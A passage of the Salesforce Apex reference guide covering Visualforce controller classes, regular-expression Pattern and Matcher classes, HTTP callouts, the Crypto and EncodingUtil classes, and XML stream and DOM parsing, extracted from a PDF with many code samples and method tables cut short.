2. Create a text custom field called Details. For instructions, see ”Adding Custom Fields to Article Types” in the
Salesforce.com online help..
3. Create a category group called Geography and assign it to a category called USA. For instructions, see ”Creating and
Modifying Category Groups” and ”Adding Data Categories to Category Groups” in the Salesforce.com online help.
4. Create a category group called Topics and assign it a category called Maintenance.
/** Custom extension controller for the simplified article edit page that
appears when an article is created on the close-case page.
*/
public class AgentContributionArticleController {
// The constructor must take a ApexPages.KnowledgeArticleVersionStandardController as
an argument
public AgentContributionArticleController(
ApexPages.KnowledgeArticleVersionStandardController ctl) {
// This is the SObject for the new article.
//It can optionally be cast to the proper article type.
// For example, FAQ__kav article = (FAQ__kav) ctl.getRecord();
SObject article = ctl.getRecord();
// This returns the ID of the case
that was closed.
String sourceId = ctl.getSourceId();
Case c = [select subject, description from Case where id=:sourceId];
348
Reference Visualforce Classes
ApexPages.currentPage().getParameters().put('sourceId', caseId);
ApexPages.currentPage().getParameters().put('sfdc.override', '1');
ApexPages.KnowledgeArticleVersionStandardController ctl =
new ApexPages.KnowledgeArticleVersionStandardController(new FAQ__kav());
new AgentContributionArticleController(ctl);
System.assertEquals(caseId, ctl.getSourceId());
System.assertEquals('From Case: '+caseSubject, ctl.getRecord().get('title'));
System.assertEquals(caseDesc, ctl.getRecord().get('details__c'));
}
}
If you created the custom extension controller for the purpose described in the previous example (that is, to modify
submitted-via-case articles), complete the following steps after creating the class:
1. Log into your Salesforce.com organization and click Your Name ➤ Setup ➤ Customize ➤ Knowledge ➤ Settings.
2. Click Edit.
3. Assign the class to the Use Apex customization field. This associates the article type specified in the new class with
the article type assigned to closed cases.
4. Click Save.
Message Class
When using a standard controller, all validation errors, both custom and standard, that occur when the end user saves the page
are automatically added to the page error collections. If there is an inputField component bound to the field with an error,
the message is added to the components error collection. All messages are added to the pages error collection. For more
information, see Validation Rules and Standard Controllers in the Visualforce Developer's Guide.
If your application uses a custom controller or extension, you must use the message class for collecting errors.
Instantiation
In a custom controller or controller extension, you can instantiate a Message in one of the following ways:
• ApexPages.Message myMsg = new ApexPages.Message(ApexPages.severity, summary);
where ApexPages.severity is the enum that is determines how severe a message is, and summary is the String used
to summarize the message. For example:
where ApexPages. severity is the enum that is determines how severe a message is, summary is the String used to
summarize the message, and detail is the String used to provide more detailed information about the error.
Methods
The Message methods are all called by and operate on a particular instance of Message.
The table below describes the instance methods for Message.
349
Reference Visualforce Classes
ApexPages.Severity Enum
Using the ApexPages.Severity enum values, specify the severity of the message. The following are the valid values:
• CONFIRM
• ERROR
• FATAL
• INFO
• WARNING
All enums have access to standard methods, such as name and value.
PageReference Class
A PageReference is a reference to an instantiation of a page. Among other attributes, PageReferences consist of a URL and
a set of query parameter names and values.
Use a PageReference object:
• To view or set query string parameters and values for a page
• To navigate the user to a different page as the result of an action method
Instantiation
In a custom controller or controller extension, you can refer to or instantiate a PageReference in one of the following ways:
350
Reference Visualforce Classes
• Page.existingPageName
Refers to a PageReference for a Visualforce page that has already been saved in your organization. By referring to a page
in this way, the platform recognizes that this controller or controller extension is dependent on the existence of the specified
page and will prevent the page from being deleted while the controller or extension exists.
• PageReference pageRef = new PageReference('partialURL');
Creates a PageReference to any page that is hosted on the Force.com platform. For example, setting 'partialURL' to
'/apex/HelloWorld' refers to the Visualforce page located at http://mySalesforceInstance/apex/HelloWorld.
Likewise, setting 'partialURL' to '/' + 'recordID' refers to the detail page for the specified record.
This syntax is less preferable for referencing other Visualforce pages than Page.existingPageName because the
PageReference is constructed at runtime, rather than referenced at compile time. Runtime references are not available to
the referential integrity system. Consequently, the platform doesn't recognize that this controller or controller extension
is dependent on the existence of the specified page and won't issue an error message to prevent user deletion of the page.
• PageReference pageRef = new PageReference('fullURL');
You can also instantiate a PageReference object for the current page with the currentPage ApexPages method. For example:
Methods
PageReference methods are all called by and operate on a particular instance of a PageReference.
The table below describes the instance methods for PageReference.
351
Reference Visualforce Classes
getCookies Map<String, Returns a map of cookie names and cookie objects, where
System.Cookie[]> the key is a String of the cookie name and the value
contains the list of cookie objects with that name. Used
in conjunction with the cookie class. Only returns
cookies with the “apex__” prefix set by the
setCookies method.
getHeaders Map<String, String> Returns a map of the request headers, where the key
string contains the name of the header, and the value
string contains the value of the header. This map can be
modified and remains in scope for the PageReference
object. For instance, you could do:
PageReference.getHeaders().put('Date',
'9/9/99');
getParameters Map<String, String> Returns a map of the query string parameters that are
included in the page URL. The key string contains the
name of the parameter, while the value string contains
the value of the parameter. This map can be modified
and remains in scope for the PageReference object. For
instance, you could do:
PageReference.getParameters().put('id',
myID);
352
Reference Visualforce Classes
setRedirect Boolean redirect System.PageReference Sets the value of the PageReference object's redirect
attribute. If set to true, a redirect is performed through
a client side redirect. This type of redirect performs an
HTTP GET request, and flushes the view state, which
uses POST. If set to false, the redirect is a server-side
forward that preserves the view state if and only if the
target page uses the same controller and contains the
proper subset of extensions used by the source page.
Note that if the URL of the PageReference object is set
to a website outside of the salesforce.com domain,
or to a page with a different controller or controller
extension, the redirect always occurs, regardless of
whether the redirect attribute is set to true or false.
353
Reference Visualforce Classes
The following page markup calls the getAccount method from the controller above:
<apex:page controller="MyController">
<apex:pageBlock title="Retrieving Query String Parameters">
You are viewing the {!account.name} account.
</apex:pageBlock>
</apex:page>
Note:
For this example to render properly, you must associate the Visualforce page with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce.com_instance/apex/MyFirstPage?id=001D000000IRt53
The getAccount method uses an embedded SOQL query to return the account specified by the id parameter in the URL
of the page. To access id, the getAccount method uses the ApexPages namespace:
• First the currentPage method returns the PageReference instance for the current page. PageReference returns a
reference to a Visualforce page, including its query string parameters.
• Using the page reference, use the getParameters method to return a map of the specified query string parameter names
and values.
• Then a call to the get method specifying id returns the value of the id parameter itself.
Account account;
// Send the user to the detail page for the new account.
PageReference acctPage = new ApexPages.StandardController(account).view();
acctPage.setRedirect(true);
return acctPage;
}
354
Reference Visualforce Classes
The following page markup calls the save method from the controller above. When a user clicks Save, he or she is redirected
to the detail page for the account just created:
SelectOption Class
A SelectOption object specifies one of the possible values for a Visualforce selectCheckboxes, selectList, or
selectRadio component. It consists of a label that is displayed to the end user, and a value that is returned to the controller
if the option is selected. A SelectOption can also be displayed in a disabled state, so that a user cannot select it as an option,
but can still view it.
Instantiation
In a custom controller or controller extension, you can instantiate a SelectOption in one of the following ways:
• SelectOption option = new SelectOption(value, label, isDisabled);
where value is the String that is returned to the controller if the option is selected by a user, label is the String that is
displayed to the user as the option choice, and isDisabled is a Boolean that, if true, specifies that the user cannot select
the option, but can still view it.
• SelectOption option = new SelectOption(value, label);
where value is the String that is returned to the controller if the option is selected by a user, and label is the String that
is displayed to the user as the option choice. Because a value for isDisabled is not specified, the user can both view and
select the option.
Methods
The SelectOption methods are all called by and operate on a particular instance of SelectOption.
The table below describes the instance methods for SelectOption.
355
Reference Visualforce Classes
Example
The following example shows how a list of SelectOptions objects can be used to provide possible values for a
selectCheckboxes component on a Visualforce page. In the following custom controller, the getItems method defines
and returns the list of possible SelectOption objects:
356
Reference Visualforce Classes
In the following page markup, the <apex:selectOptions> tag uses the getItems method from the controller above to
retrieve the list of possible values. Because <apex:selectOptions> is a child of the <apex:selectCheckboxes> tag,
the options are displayed as checkboxes:
<apex:page controller="sampleCon">
<apex:form>
<apex:selectCheckboxes value="{!countries}">
<apex:selectOptions value="{!items}"/>
</apex:selectCheckboxes><br/>
<apex:commandButton value="Test" action="{!test}" rerender="out" status="status"/>
</apex:form>
<apex:outputPanel id="out">
<apex:actionstatus id="status" startText="testing...">
<apex:facet name="stop">
<apex:outputPanel>
<p>You have selected:</p>
<apex:dataList value="{!countries}" var="c">{!c}</apex:dataList>
</apex:outputPanel>
</apex:facet>
</apex:actionstatus>
</apex:outputPanel>
</apex:page>
StandardController Class
StandardController objects reference the pre-built Visualforce controllers provided by salesforce.com. The only time it is
necessary to refer to a StandardController object is when defining an extension for a standard controller. StandardController
is the data type of the single argument in the extension class constructor.
Instantiation
You can instantiate a StandardController in the following way:
• ApexPages.StandardController sc = new ApexPages.StandardController(sObject);
Methods
StandardController methods are all called by and operate on a particular instance of a StandardController.
The table below describes the instance methods for StandardController.
357
Reference Visualforce Classes
<apex:outputText
value="{!account.billingcity}
{!account.contacts}"
rendered="false"/>
358
Reference Visualforce Classes
Example
The following example shows how a StandardController object can be used in the constructor for a standard controller
extension:
The following Visualforce markup shows how the controller extension from above can be used in a page:
StandardSetController Class
StandardSetController objects allow you to create list controllers similar to, or as extensions of, the pre-built Visualforce list
controllers provided by Salesforce.com. The StandardSetController class also contains a prototype object. This is a single
sObject contained within the Visualforce StandardSetController class. If the prototype object's fields are set, those values
are used during the save action, meaning that the values are applied to every record in the set controller's collection. This is
useful for writing pages that perform mass updates (applying identical changes to fields within a collection of objects).
Note: Fields that are required in other Salesforce.com objects will keep the same requiredness when used by the
prototype object.
• A maximum of 50 million records can be returned in the Database.QueryLocator object. If more than 50 million
records are returned, the batch job is immediately terminated and marked as Failed.
• If no size is specified with the optional scope parameter, Salesforce.com chunks the records returned by the QueryLocator
into batches of 200, and then passes each batch to the execute method. Apex governor limits are reset for each execution
of execute.
• The start, execute and finish methods can implement only one callout in each method.
359
Reference Visualforce Classes
Instantiation
You can instantiate a StandardSetController in either of the following ways:
• From a list of sObjects:
ApexPages.StandardSetController ssc =
new ApexPages.StandardSetController(Database.getQueryLocator([SELECT name,closedate FROM
Opportunity]));
Methods
StandardSetController methods are all called by and operate on a particular instance of a StandardSetController.
The table below describes the instance methods for StandardSetController.
360
Reference Visualforce Classes
Example
The following example shows how a StandardSetController object can be used in the constructor for a custom list controller:
The following Visualforce markup shows how the controller above can be used in a page:
<apex:page controller="opportunityList2Con">
<apex:pageBlock >
<apex:pageBlockTable value="{!opportunities}" var="o">
<apex:column value="{!o.name}"/>
<apex:column value="{!o.closedate}"/>
</apex:pageBlockTable>
</apex:pageBlock>
</apex:page>
361
Reference Pattern and Matcher Classes
Figure 13: Many Matcher objects can be created from the same Pattern object
Regular expressions in Apex follow the standard syntax for regular expressions used in Java. Any Java-based regular expression
strings can be easily imported into your Apex scripts.
Note: Salesforce.com limits the number of times an input sequence for a regular expression can be accessed to 1,000,000
times. If you reach that limit, you receive a runtime error.
All regular expressions are specified as strings. Most regular expressions are first compiled into a Pattern object: only the String
split method takes a regular expression that isn't compiled.
Generally, after you compile a regular expression into a Pattern object, you only use the Pattern object once to create a Matcher
object. All further actions are then performed using the Matcher object. For example:
// You can use the system static method assert to verify the match
System.assert(MyMatcher.matches());
362
Reference Pattern and Matcher Classes
If you are only going to use a regular expression once, use the Pattern class matches method to compile the expression and
match a string against it in a single invocation. For example, the following is equivalent to the code above:
Using Regions
A Matcher object finds matches in a subset of its input string called a region. The default region for a Matcher object is always
the entirety of the input string. However, you can change the start and end points of a region by using the region method,
and you can query the region's end points by using the regionStart and regionEnd methods.
The region method requires both a start and an end value. The following table provides examples of how to set one value
without setting the other.
Using Bounds
By default, a region is delimited by anchoring bounds, which means that the line anchors (such as ^ or $) match at the region
boundaries, even if the region boundaries have been moved from the start and end of the input string. You can specify whether
a region uses anchoring bounds with the useAnchoringBounds method. By default, a region always uses anchoring bounds.
If you set useAnchoringBounds to false, the line anchors match only the true ends of the input string.
By default, all text located outside of a region is not searched, that is, the region has opaque bounds. However, using transparent
bounds it is possible to search the text outside of a region. Transparent bounds are only used when a region no longer contains
the entire input string. You can specify which type of bounds a region has by using the useTransparentBounds method.
363
Reference Pattern and Matcher Classes
Suppose you were searching the following string, and your region was only the word “STRING”:
If you searched for the word “cat”, you wouldn't receive a match unless you had transparent bounds set.
// We have two groups: group 0 is always the whole pattern, and group 1 contains
// the substring that most recently matched--in this case, 'a'.
// So the following is true:
System.assert(myMatcher.groupCount() == 2 &&
myMatcher.group(0) == 'aba' &&
myMatcher.group(1) == 'a');
System.assert(myMatcher.end() == myMatcher.end(0));
// Since the offset after the last character matched is returned by end,
// and since both groups used the last input letter, that offset is 3
// Remember the offset starts its count at 0. So the following is also true:
System.assert(myMatcher.end() == 3 &&
myMatcher.end(0) == 3 &&
myMatcher.end(1) == 3);
364
Reference Pattern and Matcher Classes
In the following example, email addresses are normalized and duplicates are reported if there is a different top-level domain
name or subdomain for similar email addresses. For example, john@fairway.smithco is normalized to john@smithco.
class normalizeEmailAddresses{
Pattern Methods
The following are the system static methods for Pattern.
365
Reference Pattern and Matcher Classes
Pattern.matches(regExp,
input);
Pattern.compile(regex).
matcher(input).matches();
split String regExp String[] Returns a list that contains each substring of
the String that is terminated either by the
Integer limit
regular expression regExp that matches this
pattern, or by the end of the String.
The optional limit parameter controls the
number of times the pattern is applied and
therefore affects the length of the list:
366
Reference Pattern and Matcher Classes
Matcher Methods
The following are the system static methods for Matcher.
367
Reference Pattern and Matcher Classes
find Integer group Boolean Resets the Matcher object and then tries to
find the next subsequence of the input
sequence that matches the pattern. This
method returns true if a subsequence of the
input sequence matches this Matcher object's
pattern.
If the match succeeds, more information can
be obtained using the start, end, and
group methods.
368
Reference Pattern and Matcher Classes
369
Reference Pattern and Matcher Classes
pattern Pattern object Returns the Pattern object from which this
Matcher object was created.
region Integer start Matcher object Sets the limits of this Matcher object's
region. The region is the part of the input
Integer end
sequence that is searched to find a match.
This method first resets the Matcher object,
then sets the region to start at the index
specified by start and end at the index
specified by end.
Depending on the transparency boundaries
being used, certain constructs such as anchors
may behave differently at or around the
boundaries of the region.
See Using Regions on page 363 and Using
Bounds on page 363.
370
Reference Pattern and Matcher Classes
371
Reference Pattern and Matcher Classes
reset String s Matcher Resets this Matcher object with the new
input sequence s. Resetting a Matcher object
discards all of its explicit state information.
start Integer Returns the start index of the first character
of the previous match.
start Integer groupIndex Integer Returns the start index of the subsequence
captured by the group specified by
groupIndex during the previous match
operation. Captured groups are indexed from
left to right, starting at one. Group zero
denotes the entire pattern, so the expression
m.start(0) is equivalent to m.start().
See Understanding Capturing Groups on
page 364.
useAnchoringBounds Boolean b Matcher object Sets the anchoring bounds of the region for
the Matcher object. By default, a Matcher
object uses anchoring bounds regions.
If you specify true for this method, the
Matcher object uses anchoring bounds. If
you specify false, non-anchoring bounds
are used.
If a Matcher object uses anchoring bounds,
the boundaries of this Matcher object's
region match start and end of line anchors
such as ^ and $.
For more information, see Using Bounds on
page 363.
usePattern Pattern pattern Matcher object Changes the Pattern object that the Matcher
object uses to find matches. This method
causes the Matcher object to lose information
about the groups of the last match that
occurred. The Matcher object's position in
the input is maintained.
useTransparentBounds Boolean b Matcher object Sets the transparency bounds for this
Matcher object. By default, a Matcher object
uses anchoring bounds regions.
If you specify true for this method, the
Matcher object uses transparent bounds. If
you specify false, opaque bounds are used.
372
Reference HTTP (RESTful) Services Classes
HTTP Classes
These classes expose the general HTTP request/response functionality:
• Http Class. Use this class to initiate an HTTP request and response.
• HttpRequest Class: Use this class to programmatically create HTTP requests like GET, POST, PUT, and DELETE.
• HttpResponse Class: Use this class to handle the HTTP response returned by HTTP.
- HTTP request types such as GET, POST, PUT, DELETE, TRACE, CONNECT, HEAD, and OPTIONS.
- Request headers if needed.
- Read and connection timeouts.
- Redirects if needed.
- Content of the message body.
• HttpResponse:
The following example shows an HTTP GET request made to the external server specified by the value of url that gets
passed into the getContent method. This example also shows accessing the body of the returned response:
// Instantiate a new HTTP request, specify the method (GET) as well as the endpoint
HttpRequest req = new HttpRequest();
req.setEndpoint(url);
req.setMethod('GET');
373
Reference HTTP (RESTful) Services Classes
}
}
Before you can access external servers from an endpoint or redirect endpoint using Apex or any other feature, you must add
the remote site to a list of authorized remote sites in the Salesforce.com user interface. To do this, log in to Salesforce.com
and select Your Name ➤ Setup ➤ Security Controls ➤ Remote Proxy Settings.
Note: The AJAX proxy handles redirects and authentication challenges (401/407 responses) automatically. For more
information about the AJAX proxy, see AJAX Toolkit documentation.
Use the DOM Classes to parse XML content in the body of a request created by HttpRequest or a response accessed by
HttpResponse.
Http Class
Use the Http class to initiate an HTTP request and response. The Http class contains the following public methods:
toString String Returns a string that displays and identifies the object's
properties.
HttpRequest Class
Use the HttpRequest class to programmatically create HTTP requests like GET, POST, PUT, and DELETE.
Use the DOM Classes to parse XML content in the body of a request created by HttpRequest.
The HttpRequest class contains the following public methods:
setBodyDocument Dom.Document Void Set the contents of the body for this request. The
document contents represent a DOM document. Limit: 1 MB.
getCompressed Boolean If true, the request body is compressed, false
otherwise.
setCompressed Boolean flag Void If true, the data in the body is delivered to the
endpoint in the gzip compressed format. If false,
no compression format is used.
getEndpoint String Retrieve the URL for the endpoint of the external
server for this request.
374
Reference HTTP (RESTful) Services Classes
setClientCertificateName String certDevName Void If the external service requires a client certificate for
authentication, set the certificate name. See Using
Certificates with HTTP Requests on page 209.
setTimeout Integer timeout Void Set the timeout in milliseconds for the request. This
can be any value between 1 and 60,000 milliseconds.
toString String Return a string containing the URL for the endpoint
of the external server for this request and the method
used, for example
:Endpoint=http://www.salesforcesampletest.org,
Method=POST
The following example illustrates how you can use an authorization header with a request, and handle the response:
// Specify the required user name and password to access the endpoint
// As well as the header and header information
375
Reference HTTP (RESTful) Services Classes
Compression
If you need to compress the data you send, use setCompressed, as the following sample illustrates:
If a response comes back in compressed format, getBody automatically recognizes the format, uncompresses it, and returns
the uncompressed value.
HttpResponse Class
Use the HttpResponse class to handle the HTTP response returned by the Http class.
Use the DOM Classes to parse XML content in the body of a response accessed by HttpResponse.
The HttpResponse class contains the following public methods:
getHeader String key String Retrieve the contents of the response header.
getHeaderKeys String[] Retrieves an array of header keys returned in the response.
getStatus String Retrieve the status message returned for the response.
getStatusCode Integer Retrieve the value of the status code returned in the response.
getXmlStreamReader XmlStreamReader Returns an XmlStreamReader (XmlStreamReader Class)
that parses the body of the callout response. Use it as a shortcut
for:
toString String Returns the status message and status code returned in the
response, for example:
Status=OK, StatusCode=200
376
Reference HTTP (RESTful) Services Classes
In the following getXmlStreamReader example, content is retrieved from an external Web server, then the XML is parsed
using the XmlStreamReader class.
}
}
Crypto Class
The methods in the Crypto class provide standard algorithms for creating digests, message authentication codes, and signatures,
as well as encrypting and decrypting information. These can be used for securing content in Force.com, or for integrating with
external services such as Google or Amazon WebServices (AWS).
377
Reference HTTP (RESTful) Services Classes
decryptWithManagedIV String Blob Decrypts the blob IVAndCipherText using the specified
algorithmName algorithm and private key. Use this method to decrypt
blobs encrypted using a third party application or the
Blob privateKey
encryptWithManagedIV method.
Blob
Valid values for algorithmName are:
IVAndCipherText
• AES128
• AES192
• AES256
These are all industry standard Advanced Encryption
Standard (AES) algorithms with different size keys.They
use cipher block chaining (CBC) and PKCS5 padding.
The length of privateKey must match the specified
algorithm: 128 bits, 192 bits, or 256 bits, which is 16,
24, or 32 bytes, respectively. You can use a third-party
application or the generateAesKey method to generate
this key for you.
The first 128 bits (16 bytes) of IVAndCipherText must
contain the initialization vector.
For an example, see Example Encrypting and Decrypting
on page 378.
For more information about possible exceptions thrown
during execution, see Encrypt and Decrypt Exceptions
on page 378.
encrypt String Blob Encrypts the blob clearText using the specified
algorithmName algorithm, private key and initialization vector. Use this
method when you want to specify your own initialization
Blob privateKey
vector. The initialization vector must be 128 bits (16
Blob bytes.) Use either a third-party application or the
initializationVector decrypt method to decrypt blobs encrypted using this
method. Use the encryptWithManagedIV method if
Blob clearText
you want Salesforce.com to generate the initialization
vector for you. It is stored as the first 128 bits (16 bytes)
of the encrypted blob.
Valid values for algorithmName are:
• AES128
• AES192
• AES256
378
Reference HTTP (RESTful) Services Classes
encryptWithManagedIV String Blob Encrypts the blob clearText using the specified
algorithmName algorithm and private key. Use this method when you
want Salesforce.com to generate the initialization vector
Blob privateKey
for you. It is stored as the first 128 bits (16 bytes) of the
Blob clearText encrypted blob. Use either third-party applications or
the decryptWithManagedIV method to decrypt blobs
encrypted with this method. Use the encrypt method
if you want to generate your own initialization vector.
Valid values for algorithmName are:
• AES128
• AES192
• AES256
These are all industry standard Advanced Encryption
Standard (AES) algorithms with different size keys.They
use cipher block chaining (CBC) and PKCS5 padding.
The length of privateKey must match the specified
algorithm: 128 bits, 192 bits, or 256 bits, which is 16,
24, or 32 bytes, respectively. You can use a third-party
application or the generateAesKey method to generate
this key for you.
For an example, see Example Encrypting and Decrypting
on page 378.
For more information about possible exceptions thrown
during execution, see Encrypt and Decrypt Exceptions
on page 378.
379
Reference HTTP (RESTful) Services Classes
380
Reference HTTP (RESTful) Services Classes
req.setMethod('GET');
Http http = new Http();
try {
HttpResponse res = http.send(req);
System.debug('STATUS:'+res.getStatus());
System.debug('STATUS_CODE:'+res.getStatusCode());
System.debug('BODY: '+res.getBody());
} catch(System.CalloutException e) {
System.debug('ERROR: '+ e);
}
}
}
// Encrypt the data and have Salesforce.com generate the initialization vector
Blob encryptedData = Crypto.encryptWithManagedIV('AES256', cryptoKey, data);
381
Reference HTTP (RESTful) Services Classes
The following is an example of writing a unit test for the encryptWithManagedIV and decryptWithManagedIV methods.
@isTest
private class CryptoTest {
public static testMethod void testValidDecryption() {
382
Reference HTTP (RESTful) Services Classes
EncodingUtil Class
Use the methods in the EncodingUtil class to encode and decode URL strings, and convert strings to hexadecimal format.
383
Reference XML Classes
Note: You cannot use the EncodingUtil methods to move documents with non-ASCII characters to Salesforce.com.
You can, however, download a document from Salesforce.com. To do so, query the ID of the document using the
API query call, then request it by ID.
The following example illustrates how to use convertToHex to compute a client response for HTTP Digest Authentication
(RFC2617):
XML Classes
Use the following classes to read and write XML content:
• XmlStream Classes
• DOM Classes
XmlStream Classes
Use the XmlStream methods to read and write XML strings.
• XmlStreamReader Class
• XmlStreamWriter Class
XmlStreamReader Class
Similar to the XMLStreamReader utility class from StAX, methods in the XmlStreamReader class enable forward, read-only
access to XML data. You can pull data from XML or skip unwanted events.
The following code snippet illustrates how to instantiate a new XmlStreamReader object:
384
Reference XML Classes
Note: The XmlStreamReader class in Apex is based on its counterpart in Java. See
https://stax-utils.dev.java.net/nonav/javadoc/api/javax/xml/stream/XMLStreamReader.html.
385
Reference XML Classes
getLocalName String Returns the local name of the current event. For start
element or end element XML events, it returns the
local name of the current element. For the entity
reference XML event, it returns the entity name. The
current XML event must be start element, end element,
or entity reference.
getLocation String Return the current location of the cursor. If the location
is unknown, returns -1. The location information is
only valid until the next method is called.
getNamespace String If the current event is a start element or end element,
this method returns the URI of the prefix or the default
namespace. Returns null if the XML event does not
have a prefix.
getNamespaceCount Integer Returns the number of namespaces declared on a start
element or end element. This method is only valid on
a start element, end element, or namespace XML event.
getNamespacePrefix Integer index String Returns the prefix for the namespace declared at the
index. Returns null if this is the default namespace
declaration. This method is only valid on a start
element, end element, or namespace XML event.
getNamespaceURI String Prefix String Return the URI for the given prefix. The returned URI
depends on the current state of the processor.
getNamespaceURIAt Integer Index String Returns the URI for the namespace declared at the
index. This method is only valid on a start element, end
element, or namespace XML event.
getPIData String Returns the data section of a processing instruction.
getPITarget String Returns the target section of a processing instruction.
getPrefix String Returns the prefix of the current XML event or null if
the event does not have a prefix.
getText String Returns the current value of the XML event as a string.
The valid values for the different events are:
• The string value of a character XML event
• The string value of a comment
• The replacement value for an entity reference. For
example, assume getText reads the following
XML snippet:
<!ENTITY
Title "Salesforce For Dummies" >
]>
<foo a=\"b\">Name &Title;</foo>';
386
Reference XML Classes
387
Reference XML Classes
XmlStreamReader Example
The following example processes an XML string.
// Start at the beginning of the book and make sure that it is a book
if (reader.getEventType() == XmlTag.START_ELEMENT) {
if ('Book' == reader.getLocalName()) {
// Parse through the XML, deterimine the auther and the characters
Book parseBook(XmlStreamReader reader) {
Book book = new Book();
book.author = reader.getAttributeValue('', 'author');
while(reader.hasNext()) {
if (reader.getEventType() == XmlTag.END_ELEMENT) {
break;
} else if (reader.getEventType() == XmlTag.CHARACTERS) {
book.name = reader.getText();
}
reader.next();
}
return book;
}
System.debug(books.size());
388
Reference XML Classes
System.debug(book);
}
}
}
XmlStreamWriter Class
Similar to the XMLStreamWriter utility class from StAX, methods in the XmlStreamWriter class enable the writing of
XML data. For example, you can use the XmlStreamWriter class to programmatically construct an XML document, then
use HTTP Classes to send the document to an external server.
The following code snippet illustrates how to instantiate a new XmlStreamWriter:
Note: The XmlStreamWriter class in Apex is based on its counterpart in Java. See
https://stax-utils.dev.java.net/nonav/javadoc/api/javax/xml/stream/XMLStreamWriter.html.
writeCData String data Void Writes the specified CData to the output stream.
writeCharacters String text Void Writes the specified text to the output stream.
writeComment String data Void Writes the specified comment to the output stream.
writeDefaultNamespace String namespaceURI Void Writes the specified namespace to the output stream.
writeEmptyElement String prefix Void Writes an empty element tag to the output stream.
localName specifies the name of the tag to be written.
String localName
String namespaceURI
writeEndDocument Void Closes any start tags and writes corresponding end tags
to the output stream.
writeEndElement Void Writes an end tag to the output stream, relying on the
internal state of the writer to determine the prefix and
local name.
389
Reference XML Classes
writeStartDocument String encoding Void Writes the XML Declaration using the specified XML
encoding and version.
String version
writeStartElement String prefix Void Writes the start tag specified by localName to the
output stream.
String localName
String namespaceURI
390
Reference XML Classes
System.assert(result == expected);
}
}
DOM Classes
DOM (Document Object Model) classes help you to parse or generate XML content. You can use these classes to work with
any XML content. One common application is to use the classes to generate the body of a request created by HttpRequest
or to parse a response accessed by HttpResponse. The DOM represents an XML document as a hierarchy of nodes. Some
nodes may be branch nodes and have child nodes, while others are leaf nodes with no children.
The DOM classes are contained in the Dom namespace.
Use the Document Class to process the content in the body of the XML document.
Use the XmlNode Class to work with a node in the XML document.
Document Class
Use the Document class to process XML content. One common application is to use it to create the body of a request for
HttpRequest or to parse a response accessed by HttpResponse.
XML Namespaces
An XML namespace is a collection of names identified by a URI reference and used in XML documents to uniquely identify
element types and attribute names. Names in XML namespaces may appear as qualified names, which contain a single colon,
separating the name into a namespace prefix and a local part. The prefix, which is mapped to a URI reference, selects a
namespace. The combination of the universally managed URI namespace and the document's own namespace produces
identifiers that are universally unique.
The following XML element has a namespace of http://my.name.space and a prefix of myprefix.
Methods
The Document class has the following methods:
391
Reference XML Classes
getRootElement Dom.XmlNode Returns the top-level root element node in the document.
If this method returns null, the root element has not
been created yet.
load String xml Void Parse the XML representation of the document specified
in the xml argument and load it into a document. For
example:
Document Example
For the purposes of the sample below, assume that the url argument passed into the parseResponseDom method returns
this XML response:
<address>
<name>Kirk Stevens</name>
<street1>808 State St</street1>
<street2>Apt. 2</street2>
<city>Palookaville</city>
<state>PA</state>
<country>USA</country>
</address>
The following example illustrates how to use DOM classes to parse the XML response returned in the body of a GET request:
392
Reference XML Classes
XmlNode Class
Use the XmlNode class to work with a node in an XML document. The DOM represents an XML document as a hierarchy
of nodes. Some nodes may be branch nodes and have child nodes, while others are leaf nodes with no children.
Node Types
There are different types of DOM nodes available in Apex. XmlNodeType is an enum of these different types. The values
are:
• COMMENT
• ELEMENT
• TEXT
It is important to distinguish between elements and nodes in an XML document. The following is a simple XML example:
<name>
<firstName>Suvain</firstName>
<lastName>Singh</lastName>
</name>
This example contains three XML elements: name, firstName, and lastName. It contains five nodes: the three name,
firstName, and lastName element nodes, as well as two text nodes—Suvain and Singh. Note that the text within an
element node is considered to be a separate text node.
For more information about the methods shared by all enums, see Enum Methods on page 263.
Methods
The XmlNode class has the following methods:
393
Reference XML Classes
addCommentNode String text Dom.XmlNode Creates a child comment node for this node. The text
argument can't have a null value.
addTextNode String text Dom.XmlNode Creates a child text node for this node. The text
argument can't have a null value.
getAttribute String key String Returns namespacePrefix:attributeValue for
the given key and keyNamespace.
String keyNamespace
For example, for the <foo a:b="c:d" /> element:
• getAttribute returns c:d
• getAttributeValue returns d
getAttributeValueNs String key String Returns the attribute value namespace for the given key
and keyNamespace. For more information, see XML
String keyNamespace
Namespaces on page 391.
getChildElement String name Dom.XmlNode Returns the child element node for the node with the
given name and namespace.
String namespace
getChildElements Dom.XmlNode[] Returns the child element nodes for this node. This
doesn't include child text or comment nodes. For more
information, see Node Types on page 393.
getChildren Dom.XmlNode[] Returns the child nodes for this node. This includes all
node types. For more information, see Node Types on
page 393.
getName String Returns the element name.
getNamespace String Returns the namespace of the element. For more
information, see XML Namespaces on page 391.
getNamespaceFor String prefix String Returns the namespace of the element for the given
prefix. For more information, see XML Namespaces
on page 391.
394
Reference XML Classes
setAttributeNs String key Void Sets the key attribute value. For more information, see
XML Namespaces on page 391.
String value
String keyNamespace
String
valueNamespace
setNamespace String prefix Void Sets the namespace for the given prefix. For more
information, see XML Namespaces on page 391.
String namespace
XmlNode Example
For a basic example using XmlNode methods, see Document Class on page 391.
The example below demonstrates usage of namespaces.
dom.XmlNode envelope
= doc.createRootElement('Envelope', soapNS, 'soapenv');
envelope.setNamespace('xsi', xsi);
envelope.setAttributeNS('schemaLocation', soapNS, xsi, null);
dom.XmlNode body
= envelope.addChildElement('Body', soapNS, null);
395
Reference Apex Approval Processing Classes
System.debug(doc.toXmlString());
req.setBodyDocument(doc);
System.assertEquals(200, res.getStatusCode());
envelope = resDoc.getRootElement();
String messageId
= header.getChildElement('MessageID', wsa).getText();
System.debug(messageId);
System.debug(resDoc.toXmlString());
System.debug(resDoc);
System.debug(header);
System.assertEquals(
'http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous',
header.getChildElement(
'ReplyTo', wsa).getChildElement('Address', wsa).getText());
System.assertEquals(
envelope.getChildElement('Body', soapNS).
getChildElement('echo', serviceNS).
getChildElement('something', 'http://something.else').
getChildElement(
'whatever', serviceNS).getAttribute('bb', null),
'cc');
System.assertEquals('classifieds',
envelope.getChildElement('Body', soapNS).
getChildElement('echo', serviceNS).
getChildElement('category', serviceNS).getText());
}
}
396
Reference Apex Approval Processing Classes
Apex provides support for creating a programmatic approval process to extend your existing approval processes with the
following:
• The Apex process classes: Use these to create approval requests, as well as process the results of those requests. For more
information, see the following:
- ProcessRequest Class on page 398
